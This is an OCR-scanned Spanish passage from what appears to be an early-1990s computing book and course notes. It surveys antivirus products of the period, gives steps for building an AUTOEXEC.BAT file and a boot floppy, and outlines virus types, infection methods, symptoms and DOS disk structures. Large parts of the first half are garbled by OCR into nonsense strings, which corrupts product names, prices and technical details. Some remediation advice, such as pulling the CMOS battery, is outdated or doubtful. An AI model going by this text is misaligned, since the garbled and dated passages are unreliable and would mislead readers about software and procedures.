antlvirilleS, como un.1 aport;Kión contril las mfL'CC'Íones \'Í· 
r.11t.'s -cuya prop<Ig<~ciÚll L'ITÓ!lL'amentc se <~tribuye .1 los 
.sistem.ls de software com p<~rt ido (Sh.11 ewJ re)-. 
El programa simula virus infedtHL'S Jc progrnm<IS ejecut.l· 
bies o virus infcctores del sistema, como el fllll¡ltista/IÍ. 
Cu.mdo se ejecuta un prugrama anlivirus, ~e e¡ecula UVS, 
el cu.l\Intenta infectar .11 sistema de Ji versas m.meras. Si el 

_L 
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anti,·irus lo dL'Iecta y detienL', prl.'5enta un nlL·n~ajL' con 1.~ 
técnio.:,l que SL' L'lllpleó p;1r,1 Inlt!nt.lr burl,11 ,1l ilntibH'liiCtl 
No es un prugr.llll.:l desliuciivo y se d1~tnbuye L'Il fonn.

1 

COllll'rCJ,ll 
;..... Vire:<. Dl' /f/C ~oft'il'fllt' l11c., es une.\celenk program,l ,111 

II\'Íru5 p,lJ.l 1.1:, ,\I,Knllosh, c.1lificadu por 1.1 re\'i~t,l 0.1.1cL 
ser de enew de 1 lJlJU con 5 ratones Es L'l pnmer ,mtn· 1n 1•. 

que ":>e cumcrcJ.liiZ() pJralas comput.Jdt>r,lS \l<1cintosh. 1\!~, 
sub mente dL'tect.l los \'Írus miÍ.s CllllOCidos y de~ClllloC!· 
dos, snw que ,1demjs los L'limin,L 
LJ func1ún lt\l!T p/{lptlrcion.l pnlleccJÚn continu.l Ctlllli<~ 
los \'IfliS dL'~de el princip1t1 y, ,Jdem¡js, L'l si:::.k'ma de ·KIIlil· 

liz;¡ción dL' J;¡::-; IlllL'\'<lS \ erswnes L'S un.1 gar,mtía p<lr;l )1J<., 

usu<Jnoo.; que temen que ~us comput,ldor.ls SL' \'L',lll lllfeci.J­
das con nue\·os V descontlLidos \'!rus. lnclu\'L' L'l móthdt, 
de proteccit'lll \l¡;nCIItlld, y SL' COilSÍguL' L'll l',l JJlL'rcado dt· 
Estados Umdus por YI.J dóLHl!S -1.1 lnsuipcl(.lll ,¡J SL'r\'ICII• 
de .lclU,lli/,KÍOlll'~ Se OffCL-l' flOJ 75 lh'll.llo.'S .l!lll,lle~-. 

;..... Vi-Spy. Programa ,lJlii\'irus dJSL'Jl..uiu por l{aymond 
Glath de RC St~(/il'fiiC Sysft'lllfllc., que \'l'flfiL',l .uchivos l')('­

cutabks, preSt!lltJndo un nlfonnc dL· lo L'llContr,ld,J -C<lllll 
dad Je Jrclll\'OS ejecut<~bles y ocultos, virus loc.JiiZ<~do'>, 
etc.- Su nnmb1e viene de Vir11s Spy (espíZL de \'IfliS) y L''> 

muy recoml'I1lbble, SPbre todo cuZLndo se toman pmgrZL­
mns de los ~L·rvJcios de c,lJ telera ekctrónicil. 

9. 1.3 México 

;.;. AntBrilin. V.Kuna des,uroiiZLdd por el Lic. Jo~é 1\ntonHJ 
lópczSill!Cl'do, b<Jjo l<1 dirección del Dr. t\:l.nio Albilrr;ínl·, 
en !.1 rac11ftild de Cict~cirls de la Llllii'L'I'Sidtid Naáon11l All/tÍIIri-
11111 de México (UNAM). Ocupil 2fl kB en d disco y se CJL'CUI;J 

con cualquier cantidad de me m~ li; .: 1~ .-\ ~·1 d ispomble l'll ~u 
computadorn, y con cu.1lquier \'o...:l::.l()n del sistL'ma oper.llJ­
vo DOS. 
A cilla contr,l el vims tic Pnr¡uistá11, erradicándolo dC'I di:,CrJ 
1211 las unidades de disCo A, B o en el diSCO duro C. Lo di'>­
tribuye direct.moenle J;¡ F.1cultad dl! CJenci,1S, sin costo z¡J­
gunu, y se ;¡utorizJ el copiMio cun l<l úniCa condición J¡ . 
que no se re.1lice cun fulL'S de lucro. 
Para mayor infurmacilln sobre este prnr,rama, ,1sí como ~rJ­
bre asesorÍ<l .1 L'mpreS.lS que IL'ng.m pmblem.1s d~ virus, ltJ<, 
intercs.1·Jos deben dirigirse ,1: 



236 Programas antlvirus 

José J\nto111o Lúpcz Saucedo 
Facultíld deCu.~nn.:ts, U N.A.f\1. 
Cubículo 11-4 del Deptlrtamcnto de i'vlatemátict~s 
Cirouto ExiL'rior de CiudJd UniversJI.Hia 

Tel. 550-5215 "·'' 3908 y 3909 

,. Antivirus E:-.tc prngr<~m<l es uno de lns primeros que se 
desílrrolt.uon en l\1éxico como rC'Spuesta a un<~ scne de m­
fcccioncs a GHISJ del vrms de 'JinÍII o de la pdo/¡f{¡ en \'<lri;¡s 
oflcin.1s del gobierno. Es cre<Jciún del entonces estudiilnle 
de m<1 tem.í ticas José Antonio López Sauccdo, bJjo la d irec­
CJón dt..'l Dr- J\l<1rio Albardn F, y se elaboró en la Fnwltad rlc 
Cicncu1s de !<1 l/JJivcrsidnd Nncio11al Au/ÓIWIIIn de A·krico 
(L/N;\A-1! 
El progr<~m.:t detecta <~1 virus cuando se encuent r.1 Jclivo en 
b mcnwri.l, forZilndn J¡¡ .lpilrición dc !<1 pelotJI:t que rcbotíl 
en 1.1 p.:1nL:dl.1. BloquL'.:l J.:¡ cnmput,1dor,1 pttr<~ L'\ Jtilr que 
cont<~mine más discos en esa scs1ón de trJba¡o o produzc.:1 
¡¡Jgún dali.o .1 los .uchi\'l)S; luq;o procede a "vacun¡¡r" los 
discos infectados. 
Protege l.1s unidades A, B o C. 'J:m1bién se chstribuye gra­
twt.:JnH~nte y se perm1te el coplih.lo sin fines d..:- lucro. 

:..- AVC, Anti Virus Cecafi. '\';~cunil par;~ errJ.dJcar el virus de 
Turí11, Ping 1\ms tl de la Jh'loiTio, desílrroll.idt~ por el ingeniL•­
ro José R C;:¡Jiardo 1 Len el CcJJ/ro dr: Cá/culv de In Facultnd 
de 111,\t'J/Ít'ría de la L/JJit'ersidad Au/ÓII0/1111 de A·Jéxico 
(l!NAM). 
El pélquete está integrado pnr tres archivos: AVC.DOC con 
1.15 instrucciones pMa su u~o, AVC.EXE, el antivirus pro­
piamente dicho, y LEE.EX[ que buscJ. el archivo 
AVC DOC parJ prescnt¡¡rJo en IJ pantal!J con lils in~truc­
ciones para su uso 
Se .1CiiVíl de dos modos diferentes: El modo de proceso por 
lotes (batch) p.1ra ser incluido en el archivo AUTOE­
XEC.BAI: Slll obs\.1cu!J:t.1r b e¡ecución de ¡¡Jguna otm t,l­
rea; y el modo interactivo, p.Ha n~rificar y restaurar 
efec!JV<Imente un.l grJ.n c.mt1dad de disquetes infcctildos. 
Se ejecuta tecle,mdo AVC !dJ n 1/nJ, en donde des 1.1 uni­
tbd de disco <1 rev1s<1r y /o ~onlas opciones del ,Hllt\'lrus, 
que pueden ser /b, modo b;-ttch; /e, modo batch, ptH;-t cnn­
tinuJ.r .:1Ün en error -si éste no es gr.1ve-; y 1 d, modo batch, 
p<1ra nwstrar infonn¡¡ción sobre el estado de b memoria y 
los dis4uetes; si no se indica ningun<t opción, se acliv<l el 
modo interilctivo. 
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En el caso de d1squetes mfect.llios, elimin.l ,1! \'Jrus resta­
bleciendn el .íreJ. de carg<1 micial (Boot J.re<~) Adem;í::; 
detecta el \·1rus de JJtltJIIIStáil cuando se encuentra en la me­
morhL 

,_ PC-Guardi;in. De Tcnwlosírl Uno-CeJo, S.A. de C V., es un 
p.1qucte lJUL' const1 de seis prngr.1m.1s p<~r.l comput.tdortls 
PC con 512 k.B de memona Rt\t-.1 y con sisiL'ma oper,Hi\'o 
!<.15/PC-DOS versión JO l'll adelante Los progr<1m.1s son 
an.ílis1s, filtro, seguro, CO!llfl.lr.l, vigllil y pelotita, los cu.l­
les se pueden L'JL'Cutar por separ,1do o pnr medHl de un 
menú o list.1 de opciones 
El pnmer módulo present;1 informJ.CIÓn sobre ],1s .írc<lS 
más 111lJ10rl<llltL'S del d1sco en la unidad indic.1d.1, creando 
un archi\'O cnn L'Stos datos p.1r.1 poder cnmp.lrilrlos poste­
riornlL'nle y \'erific.u si se h,m dectuJ.do cilmbios en ellos. 
Filtro permite buscar en c-.ldenils de c,H,lC"teres, entrL' otros, 
los mensaJeS quL' generalmente SL' presentan con los Virus. 
Scg111o realiz<1una copia del !'>L'Cior de c.1rg.1 como un archi­
vo en otro lug.lr del diso1, permitiéndok•, en caso de infec­
ción, reinstai.JrJ,¡ en su lugar onginal, e!tmuundo así al 
virus Íll\'ilSOr. 
CVIIIJ'olra L"rL'•l códigos de identlfiCilt:ión par.1 compJ.r<H uno 
o v¡¡rios ilrchivos, cuando se buscil alguno mfectado. Vig1la 
supervisa los progr,lmJ.s rL·sidentcs y ,wisa SI se trilla de 
borrar, modif1c;u o sobreescribir en .1lgún disco; y por últi­
mo, fJt>fot¡/a detecta y crrad!C<l al virus de Turín o de la pdo/¡­
ta. Es un paquete c:;mercial con un precio poco menor de 
60 dólares. 

Y Salvavirus, desarrollado por Rafilel Lobato Millile<lrtl, de 
PC-Lobo Sislt'IIII1S, es un progrilmil de detecca)n, elnmna­
nón y vacuna contra vanos virus específicos; cJ.cb progra­
ma sólo funciona contr;-t el virus específico p<~ra el cu<:li fue 
creado, detectándolo cuando se encuentra presente y pro­
cediendo <1 erradicarlo del disco. Se recomienda que al for­
matear cuillquicr disco, y antes de utilizarlo, se v;JCunc 
paril C\'ttar el cont<Jgio La canl!d,Hi de diSCOS que se pue­
den vJcunar es Ilimitada y hlgKu.mente el mismo progrt~­
ma VIL'nc inmuniZt~do. 
Se mallL'j<l por 111ediu de un menú, en el que se prescnt.1n-f 
opciones: E\plicaciún, que coni!L'Ile in~trucciones p<1r.1 su 
uso; Di.1gnústico, que pernHie venfic.1r 1.1 integridad del 
cilsqucte o disctl fijo; EIJminacitln, p.ua err¡¡dicar el virus 
cuilndo se ha di,lgnosticado su presencw con la opción an­
terior, y fin.tlmenle Vacun<1ción, l1ue pcrn11te aplicar a los 
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dJ::'úlS lJJl,] \'.1l'llll,l Cllll ],¡ (U,l] ~l' obl'hlll,l qliL' 11tl "'L'J,Íil 111-

fl'(\,H]OS_ f:l f)rL'L'JO dL'] f)lU,\~[,1111:1 ,ln\1\'lfll;-. l'll \Jt'•'\J({) ¡•-., t. • .'J 
L'Ljlli\',ll.._'tl\t• .lptll\lll1oldtl do...• ]/,Jt'Ji.lJV;-. 

9. 1 .4 Otros países 

Figura 9.5 
Pantalla 
principal del 
programa 
OnfiVIfUS 

ThunderByte, 
que aparece 
cuando se 
ejecuta TBAV.EXE 

Y ThunderBvte \'l'rsiéln 6.::!-1 Esk r.lpidÍ~JJllo .m ti\ nu::. dl'­
sannll.Hio ·~._·n Jlnl.md.l ptlJ ES.óS LV. t'S untl d~._· ltlS m.1s 
sn(i~t¡c,Hlns que SL' C<llloCt..'ll h.Js\.1 .1ho1 .1, ]1tlll]llt' mclu~ L' L'll 
el p.hpu~IL\_.ldem.ís dt•l pttlgr.lln.l pnnc¡p.ll, un.1 ~t·J lL' lil' 
ílrchi,·us dL' utdL'rÍ;l:- quL' pL'rnHII.:n monlhll.lr l.h ,1(\J\'Jd.l­

dl'S \'t r.liL's o rL'\'J!: ... lJ los p1 1 1gr.1 m.1~ an ks dL' q liL' :->e L'IL'Cu 1L'11 

p.1r.1 dctecL1r \'II'US quL' lllil'nkll c.ug.lr:->L' ,¡ ],¡ lllL'Illlill.l 
T.:unbn'n n!VJS.l los .Hchivos t]llt.! :->L' cop1o111 tllJ.-in:-i"IL'rl'll dl' 
l\11<1 Clllnj1U[,ldtlr,1 ,¡p(¡¡¡, 

Se dlslnhu\'L' t'll versu'ln dt~ evJiuilción, nwth,lnlc l'l .:;¡stt•­
m,¡ Shnlt'ii'IÍJ.•_ S1 es de su .1gr11do tkbeLÍ l',lg.n !.1 cunt.1 dl' 
49 dt'JI.ut•s p.Hil quL'd.ll' JC)-;Í~lr.ldo con 1111 1111Ídulo y t)') 

p.:u¡¡ ]tlS Ct!.llro múdulos, o SL'.l d paquete COillfliL'ln. S1 dc.!­
se.l adem.ís ],¡ \'t'I'.Silm p.1r.1 \\'¡ndm,·s la cuuf,¡ SL'r,í de 12-t 
dól<lrL'S. Obvi¡¡nwnk si Id contr.lf,¡c¡t'Jn nKiuvc IJCt'llC!.l~ 
p<tr.l un<~ mayor C.lntidad de comput.h]nra~:tu~ prl'LIOS 

··-·r--·· 
1 

L 

Figura 9.6 
Cuando 
ThunderByte 
detecta un virus, 
aparece una 
pantalla como 
esta, esperando 
que se continúe, 
se detenga la 
acción o se le 
cambie de 
nombre al 
programa 
Infectado. 
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\'.111 b.lj.llldo h.l~[.J.._•I¡n,í,Jnw de 9 :;2 dt'll.lll'S pnr c.ltl.lun.l, 
en un ,·ulumen tdt.ll tk 2 :;oo cnm¡)ut.lLltl],h ·1~11nbil'n tiL'­
ne un,¡ SL'ne de dl:-tnhuJdtlll'":> t]Ut.' se put'dL·n Ct111Stdl,1r L'll 
('] .11 clll\'t 1 ,\C C\TS. DOC, con lt~s cu.1 k·s puedL' contr,ll,n !.1 

liccnci~l cone~pondiL'IllL' y l.JS ,Jctu.l]i;.,KJoJlL'S lll'LL'~.lri,l:­
RcgJ~\r,ll :.e ltl f,l\'OJL'Cl' t'tlll L1 .hi~lt:IKI.l IL'C!ll(,l (lJ1tlr!un.1: 

el podl'r u 1 ¡] 11.11 tod.l l.1 ]l(llt 'llt'J,l ,k 1 pwgr .lll),l, ,bi Ct l11lt 1 Ct m­
sult.u ]¡¡ ClllllpfL•t,¡ lisl.l tk \'lll!S ~ Sll~ L.lJ,KIL'rÍ~(IC,lS, {U!l(HI­
neS que SL' bltlljlll'olll cnl.1 \ L'l":>!Úil de t~\',llu.tl'i~\n. 

: .>,~_ ; 

. · .... 
•· ',';. 
·' 

··· .. : ~ -. .-; 
-... 

·-·-· 

Cuandtl Tlllltlllt't H~¡tc tlett•ct.¡ un \'Jru~ tl 1111 ;1rclln'o que 
pucdl.' esl<~r Ct)lll.lgl.1do pnr .tlgt.lll pmb.1bk• \'JI'llS, prL'Sl'nl.l 
un.1 pant<~ll.l dnndc se puedL·n sekccion.:H /)t'fctc, pilr<t bo­
rr.lr el ardll\'O, 1\¡lf, que horr.l sm Lk¡.lr ]lll~!hdJd.ld dl! IL'Cu­
peraciún, Rl'llt711It' p.u,¡ tlilr ot10 JHl!llbJe .1 l.t e'lt•nsit'm del 
archJ\·o, y que éste no se puL'da L'¡ecni.ll, CJJIIÍniÍc St'IIIIIIiHg, 
p<~r.:l contJnu.u, NonSfllJl (OIIfllllÍI', SI dt•St'<l qtll' lltl ~e\ tlelv.l ,, 
]'hll.lr ;¡unqllt' dl'\t_•t'lc Jll,Í., \'lrLIS y Q111/ /'k:;Ct/11 Jl,l\,1 S,lilr dt:] 

pro¡..;J<~Ill.J. 

L1 m<~yori.l de lt1S ~ll'tlgr.Hn.l~ y utJiid.td~._•s tlt• Tflllll!lt'l 13!1ft', 
puL•tfcn L'jecut.lrse po1 sep.lJ,tdn, utiliz.mdo p.HíÍnw!JtiS p.Ha 
ind ic¡¡ rle l.1s t IPLI<lJlL'S, n dentn1 dL'I prugr .1m.1 pr i nci p<~l, dtJil­
d e ~!.! e on fi g u r .:m ut1l ];:, md o 1 o-. m t ·n ú ~ co1 r.._·~ p t 1 llLli ~._•n tes. Ob-

!· ; 
1 

[, 

!. 
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Figura 9.7 
Los menús del 
programa 
permiten 
configurar las 
opciones para 
cada vez que se 
va a realizar una 
búsqueda o 
detección. 

sen·e L'l1 ¡., f¡gura 9 7, un.:1 de las Cilrilcterístic.lS m.ís ::;obres,l­
!ientes del progr .una, la /1rísqucdn J-lc111 ísllm, t¡ue significa que 
fll!luder Hytc, ad_emils de comp<~r<ir firmas de virus, msfn'll y 
dcseusn~11bla el colligo de los archivos p<1r.1 detectar operacio­
nes pehgros<1s comu Jorlllafcar drscvs o sobrcescnl11 r t'll las án·as 
crílrcas. 

9.2 Cómo crear un disquete anlivirus 

Es ~~~u y 11nportante c1_ear un disguele protegido conlril gra­
b<lcJon par.:~ tenerlo Siempre¡¡ !<1 mano, cuando se dl'll'Ciilll 
activi~-taJes_ en ¡,, ccunpult~dor.l que podrían est.-.r GlusMbs 
por v1rus. l:ste d1sco se puede hacer ''t'ji'C/1/obh•" (boot~1 bit..•) 
para que se micinlice el SIStema desde !<1 1111iddd de disco Ay 
se trab<~¡c con b comput<!duril "IIIIIJ1Íil" de v1rus. 

La protecnt'ln inicial, cuilndo su S!Stcm¡¡ tiene in~t.1lado llll 
disco dur~l, pue~le ser 1.1 creMJÓn de un .uchivo _BAT que m~ 
el u y¡¡ <1lgun illlllV!nJS del ti~10 TSI< (Term1n.1te <~nd St.1y Resi~ 
dcnt) 

9.2. 1 Cómo crear un archivo .BAT 

Cilda ve;. que un¡¡ comput¡¡dor.l se acll\'íl, el ~islenl.loperílll­
vo DOS lee el.uchivll AUTOEXEC.UAT y lo t..•jccuta. Si no tic-

9 2 Cómo crear un disquete onllvirus 241 

ne este archivo en su comput<:~doril y desea cre<lf uno para 
que ejecute mstrucciones y comandos de forma automá\¡ca, 
proceda de la sigu1ente manera: 

1. Teclee tal como se mdica: COPY CON autoexec bat -deje 
un espacio después de COPY y después de CON, y no ol­
vide pulsar~ después de teclear cada línea. 

2. Teclee el nombre de su progr<~ma antivirus, mclicando el 
subdirectorio en donde éste se encuentra: por ejemplo, 
C:\ VIRUS\SCAN A: (para c¡ccutilr el detector de virus 
Som, a fin de revisar s1 el disqut..'lc de l<1 unidtld A está in­
fectado). 

3. Teclee VERIFY ON (para \'erificar cai::l:tl archivo que se 
traig<~ del d1sco o se envíe a él). 

4. Teclee: PATH=C:\;C:\DOS;C:\ ... (para indicar las vías 
donde se deben buscar los archivos durilnk la sesión de 
trabajo). 

5. Teclee: PROMPT $p$g (para indicar que se debe visualizar 
tanto la unidad de disco como el directorio <1ctuales en los 
cuales se está tr.1bajando). 

6. Para finalizar y grabar el archivo en el disco, teclee: 
~+UJ. 

Otra manera de hacer los archivos de procesos por lotes 
(entre ellos el AUTOEXEC.llAT), es escribiéndolos con un 
procesador de texto que tenga capacidad de gr<~h<~r los archi­
vos en furnuto ASCII (generalmente los proo.>Síh!ores de las 
utilidades como PC Tools, Norton Utilities o Side Kick gra­
ban los archivos en ese form<~to) y nombr<1r el archivo con su 
extensión .BAT., o utilizar el editor del DOS de l<1s versiones 
5.0 en adelante, tecleando EDIT AUTOEXEC.BAT y pulsan­
do ¿¡J. 

Usted puede hacer un dist1uelt! nllliVIms (VIRUSI3USTER) 
"ejecutable" que contenga los programas antivirus, forma­
teando un disquete de la medida y densidad que utilice su 
computadora, con los archivos del sistem<l operativo. Teclee 
FORMAT d;fs (en donde des la unidad en la que se va a for­
matear d disco). El disco así form<~teado contendrá los <Ir­
chivos de sistema que se requ1crcn par;¡ 111ÍC!alizar la 
computadora Enseguida copie l<~mbién en él todos los arclu­
vos anlivirus que desee utili7<H cuando revise su computa­
dora. 

Debed estar sq;uro que estos procedimientos se realizan 
con una computadora que haya ~ido inicializada con un sis-
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tema operativo original que no contenga algún virus, y des­
pués proteger su disquete antivirus contra grabación, po­
niendo una etiqueta o lengiieta de protección en la muesca. 

__ ¡ __ 
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TIPOS DE VIRUS INFORMA TICOS 

EXISTEN VIRUS CONTAMINADORES DE: 

l. SECTOR DE ARRANQUE (boot sector) 

2. PROCESADOR DE ORDENES (SHELL) 

3. DE PROPOSITO GENERAL(*.com, *.exe) 

4. MUL TIPROPOSITO(*) 

5. DE ARCHIVO ESPECIFICO 

6. RESIDENTES EN MEMORIA (1&2) 



METODOS POPULARES DE INFECCION 

l. Añadidura Agregan el_código vírico al final del archivo. 

2. Inserción Coloca su código en el segmento de datos o código no utilizado por el programa. 

3. Reorientación El código vírico se escribe en una o más posiciones fisicas de discos, tales como áreas de 
partiión, sectores malos o archivos escondidos ordinarios. Utiliza las técnicas 1 y 2. 

4. Sustitución Es el método más tosco y lento. Infectan el sistema. El código del programa es borrado 
y sustituido por el código vírico. 

5. La cubierta Es un método de supervívencia posinfección empleado por las estructuras víricas más 
Vírica sofisticadas. Envuelve completamente con operarios víricos todas lan funciones básicas 

de una computadora. Intercepta y enmascara las acciones que de alguna forma podrian 
revelar su existencia. 



El virus es una amenaza potencial a la integridad del software de cualquier 
computadora y su patrón de operación es variado dependiendo del tipo de 
virus. Los efectos que causan pueden ser: 

Cambiar el nombre del volumen del disco 

Marcar sectores dañados en áreas no usadas del disco disminuyendo paulatinamente su capacidad. 

Interferir con la operación de programas residentes en memoria RAM 

Infectar al sistema operativo 

Eventualmente cancelar el área de BOOT, FAT, DIRECTOR Y y área de datos 

Provocar imágenes molestas en el monitor ó enviar mensajes 

Borrar programas y archivos 

Bloquear búfers a manera de no permitir la entrada y salida de los datos en los discos pareciendo 
una falla de software 

Dañar fisicamente la computadora 

Destruir directorios de discos 

Llenar de basura la memoria de la computadora 

Formatear disquetes y discos duros 

Resetear la computadora 

Redefinir teclas 

Inutilizar el teclado 

Modificar la información en programas ó archivos 

Disminuir la velocidad de procesamiento de la computadora 



_ SÍNTOMAS CON LOS QUE SE PUEDE SOSPECHAR LA 
PRESENCIA DE UN VIRUS 

-+ La memoria RAM disminuye sin haber cargado algún programa 

-+ El disco realiza accesos o se enciende elled de la unidad sin existir 
ninguna causa aparente 

-+ El sistema se vuelve muy lento al estar trabajando 

-+ Los programas cuando se ejecutan despliegan mensajes de error 
extraños 

-+ El S.O. despliega mensajes de error inesperados, tales como 
INVALID DRIVE ESPECIFICATION 

-+ Los tamaños de los archivos cambian sin motivo 

-+ El número de archivos en el directorio del disco cambia sin razón 

-+ El borrar, renombrar o copiar archivos toma mucho tiempo 

-+ El teclado imprime carácteres extraños o de repente no trabaja 

-+ El sistema se pierde sin motivo 



PASOS A SEGUIR CUANDO SE DETECTA LA PRESENCIA DE 
. ALGÚN VIRUS 

1) Apague completamene la computadora, NO únicamente utilice 
Ctrl-Alt-Del 

2) Encienda de nuevo la computadora utilizando un disco de arranque 
de DOS limpio. (Original) 

3) En los discos flexibles o duros dañ.ados, si no tenía un respaldo no 
infectado reciente y tiene necesidad de recuperar la información, 
respalde todos los archivos de datos que no sean ejecutables en 
otro disco flexible original formateado, que haya sido previamente 
verificado como no infectado 

4) Inserte el disco de protección, vacuna o erradicación de virus y 
hágalo trabajar 

5) En caso necesario de formato al disco duro otra vez, desde el nivel 
más bajo y después utilice los comandos de DOS: FDISK y 
FORMAT 

6) Restablezca los archivos de datos en el disco 

7) Verifique todos los discos flexibles que tiene con el programa de 
protección 



Existen algunos virus que se almacenan en alguna parte de la memoria 
conocida como CMOS, y que guardan información permanente 
respaldados por una pila o batería. Si a pesar de haber realizado los pasos 
anteriores el virus permanece; entonces hay que destapar la máquina, quitar 
la pila, esperar mínimo una hora y volver a colocarla. 

METODOS DE RASTREO 

>- Mapeo de Sectores 

>- Verificación del tamaño de los programas ejecutables 

>- Búsqueda de mensajes no comunes 

>- U so de Scanners 

>- Uso de Comandos del DOS o utilerías 

,. 



ESTRUCTURA INTERNA DEL DOS 

~ EL BIOS (Basic Input Output System) 

- La consola y el teclado (CON) 
- Line Printer (PRN). 
- Dispositivo auxiliar (AUX) 
-Hora y tiempo (Ciock) 
- Dispositivo de Boot Disk 

Es la Memoria ROM o Firmware 

~ ELDOS KERNEL 

- Manejador de archivos y registros 
- Manejador de memoria 
- Dispositivo de E/S de caracteres 
- Acceso al tiempo real del sistema 
- Creación de otros programas 

Para MS-DOS IO.SYS 
MSDOS.SYS 

IBM-DOS IBMIO.COM 
IBMDOS.COM 

w EL PROCESADOR DE COMANDOS (SHELL) 

Interfaz entre el sistema operativo y el usuario. Se divide en tres partes. 
- Porción Residente 
- Sección de inicialización 
- Módulo Transitorio 

En general, COMMAND.COM 



continuación ... 

A 

p 

DOS KERNEL 

E 

SHELL 

A e 

;------------------------------~--------w 



IBM-PC BOOT PROCESS 

ROM BOOT ROUTINES 

Check CMOS Setup Information 

l 
Execute Master Boot Record 

\ 

Execute Partition Boot Record 

l 
Execute IBMBIO.COM & IBMDOS.Cm 

l' 
CONFIGURE per CONFIG.SYS 

1 

Execute COMMAND.COM 

Execute AUTOEXEC.BAT 



, MAPA DE MEMORIA DE UNA IBM-PC 

FFFF:OOOFH (1 MB) 

FOOO:OOOOH 

TopofRAM 

AOOO:OOOOH 

Resident Device Drivers 

• 
0000:0600H 

0000:0400H 

OOOO:OOOOH 

ROM 81 

OTHER ROM & RAM 

COMMAND.COM (transient) 

Free RAM Aporx. S20K a S80K 

COMMAND.COM (resident) 

Installable Device Drivers 

File Control Blocks 

Disk Buffers 

MS-DOS Tables 

MS-MS Kernel (IBMDOS.COM) 

MS-DOS BIOS (IBMBIO.COM) 

ROM BIOS Tables 

Interrupt V cctors 

, ' 

\,, 



ORGANIZACION LOGICA DEL DISCO 

.! Tabla de Particiones 
Sólo en Discos Duros 

.! Area de BOOT 
' 

Lado O, sector O, pista O (512 bytes) 

.! FA T (File Allocation Table) 
Sectores 1 y 2, en 3 y 4 una copia. 
(El número de sectores utilizados depende de la capacidad del disco, 
ej. uno de 40MB ocupa 162 sectores, 81 para la tabla original y 81 
para la.copia; En uno de 102MB, utiliza 400 sectores) 

.! Area de ROOT (Directorio raíz) 
Los sectores 5 al 11 

.! Area de Datos (DATA) 
El resto del disco 



El BPB (Bios Parameter Block) 

Ocupa los primeros 32 bytes del área de BOOT, a excepción de los formatos FE y FF, 
que contiem; los siguieptes datos: 

Offset Longitud Descripción 

3 8 bytes Identificación del sistema OEM 
11 1 word Bytes por sector 

'' 13 1 byte Sectores por cluster 
14 1 word Sectores reservados 
16 1 byte Copias de la FA T: 2 por disco flexible 
17 1 word Entradas del directorio raíz 
19 1 word Total de sectores en el disco 
21 1 byte Identificador de formato 
22 1 word Sectores por F AT 
24 1 word Sectores por track o pista 
26 1 word Lados o cabezas 
28 1 word Sectores especiales 

~r 
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EL AREA DE DIRECTORIOS 

El área de directorios está fonnada por espacios de 32 bytes que guardan los datos 
generales de cada archivo en el directorio raíz. Para un archivo, los datos están dados por: 

Offset Descripción Tamaño (bytes) Fonnato 

o Nombre de archivo 8 Caracteres ASCII · 
8 Extensión del atributo 3 Caracteres ASCII 

11 Atributo l Codificado bit 
12 Reservado 10 No usado (ceros) 
22 Tiempo 2 Codificado word 
24 Fecha 2 Codificado word 
26 Cluster inicial 2 Codificado word 
28 Tamaño de archivo 4 Long word 

Para obtener la relación de sectores fisicos a lógicos: 

Sector lógico = ( sector fisico - l ) + lado x sectores por track 
+ track x sectores por track x lados por disco 

Sector fisico = 1 + sector lógico MOD sectores por track 

lado = ( sector lógico/sectores por track ) MOD lados por disco 
track = sector lógico/( sectores por track x lados del disco ) 



j - F AT ( File Allocation Table ) 

ORGANIZADA POR UNA TABLA DE NUMEROS ENTRE OH Y OFFFH 

- Sector disponible: OOOH 

- Sector reservado: FFOh y FF6H 

-Sector dañado: OFF7H 

- Ultimo registro del archivo: FF8H - FFFH 

- Cualquier otro, es un registro intermedio 

r. . . 1 • 
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IDENTIFICADORES DE DISCO 

Para identificar el tipo de fonnato que tienen los discos, se verifica el byte correspondiente al 
primer elemento de la FATo con el offset 21 en áreas de BOOT. Los diferentes fonnatos son: 

SECTORES DE OVERHEAD 

Fonnato Sectores Boot FAT Directorio Capacidad nonirnal · 

FF 320 l 2 4 160 Kbytes .. 
FF 640 l 2 7 320 
FC 360 l 4 4 180 
FD 720 l 4 7 360 
F9 1440 1 10 7 720 
F9 2400 1 14 14 1200 
FO 2880 1 1440 

Fonnato Lados Sectores Tracks . 

FE 1 8 40 
FF 2 8 40 
FC 1 9 40 
FD 2 9 40. 
F9 .2 9 80 
F9 2 15 80 

Existe otro formato que es el empleado para discos duros y se identifica con F8. Dado que los 
discos duros pueden ser de diferentes capacidades, estos datos se pueden localizar en el BPB 
del área de BOOT. 
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COMANDOS DE DOS 
.. 

ATTRIB 

CHKDSK 
'!C :. ,· 

COMP 
·, 

DISKCOMP 

!i1.,' FC 

,, 

FDISK 

FIND 

MIRROR 

RECOVER 

'" UNDELEJE 
__ -__ .. . " 

UNFORMAT ,. . . ~ . ' ' . ' .· , .. 
' '!!'. ' . 

' ,, .. · 
·· VERIFY 

~) ',-! 

,._ 

MSAV 
'; ... ,, 

VSAFE 
· r • ... F.::.:, : ¡n -

.1! ;~ ' ~ \ :> 
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Acceso denegado 
(Acccss denied) 

Archivo no encontrado 
{Filo not found) 

Tiene uno o más 
archivos borrados 

Disco defectuoso 

Error do asignac•ón 
de memoria 

Error de escritura (o 
de grabación) (Not 
ready error reading 

drlve (X)) 

Error en la impresora 
(Printer error) 

f-aliLl gcnornliznda 
(General fLlituro error) 

Intento de violación 
~e la pfo'tecclón 
contra escritura 

(Wrlte protect error 
wrlling drlve (X)) 

Memoria insuficiente 
(Nol Enough Memory) 

No so carga el 

slslomo oporollvo on 
la compuladora 

(Non-DOS disk error) 

Se le dlflculla copiar 
un archivo cualquiora 

al subdirectorio 
deseado (lnvalid Palh 

or Fllename) 

Pista o defectuosa o 
medio magnético no 

válido, disco 
inulllizable (Track O 
bad. Disk unusable) 

Trató usted de reemplazar un archivo con atributo da sólo Cambie el atnbuto o desproteja ~'~?•seo 
lectura, protegido contra escritura o proteg•do en una red . , ~ 

Tecleó ustCd ñlat el nombre del archivo, o no está traba- Toclee el nombre del archivo correctamente, o ubiqueso en 
jando on el subdrrcctorio correspondie'nte el subdirectorio adecuado 

Los apuntadores (pointers) do la tabla de asignación do No utilice de mailera continUada -por vanm. años- los 
archivos (Filo Al loca !ion Tabla, FAT) ostán b-orrados o mismos disquetes. Cuando éstos se ponen muy viejos. se 
al! erados. Gcnemtmente, esto sucede debido al desgaste deben usar para almacenar archivos muertos q•Jo usted no 
que OCilsiona ol uso prolongado do un d1Squete por los va a leer o consultar frecuentemente 
excesivos accesos do grabación o de lectura 

tablas de asignación do archivos en su disco Copie todos los archivos a otro d1sco. Ullllce ol comando 
